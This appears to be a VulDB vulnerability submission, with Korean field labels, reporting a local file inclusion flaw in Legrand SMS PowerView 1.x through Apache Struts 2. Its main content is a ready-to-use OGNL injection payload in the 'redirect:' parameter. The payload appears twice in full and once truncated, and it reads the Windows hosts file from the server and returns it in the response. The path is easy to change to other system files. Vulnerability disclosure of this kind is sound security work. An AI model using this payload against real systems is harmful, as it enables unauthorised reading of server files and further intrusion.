| 제목 | Lagrand SMS PowerView 1.x.x File Inclusion |
|---|
| 설명 | In SMS PowerView systems, it is possible to exploit a Local File Inclusion (LFI) vulnerability due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Local File Inclusion:
Viewing the "hosts" file on Windows:
http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()} |
|---|
| 원천 | ⚠️ http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%2 |
|---|
| 사용자 | Fr1t0 (UID 82967) |
|---|
| 제출 | 2025. 04. 03. PM 09:14 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 04. 14. PM 02:49 (11 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 302034 [Legrand SMS PowerView 1.x redirect 권한 상승] |
|---|
| 포인트들 | 0 |
|---|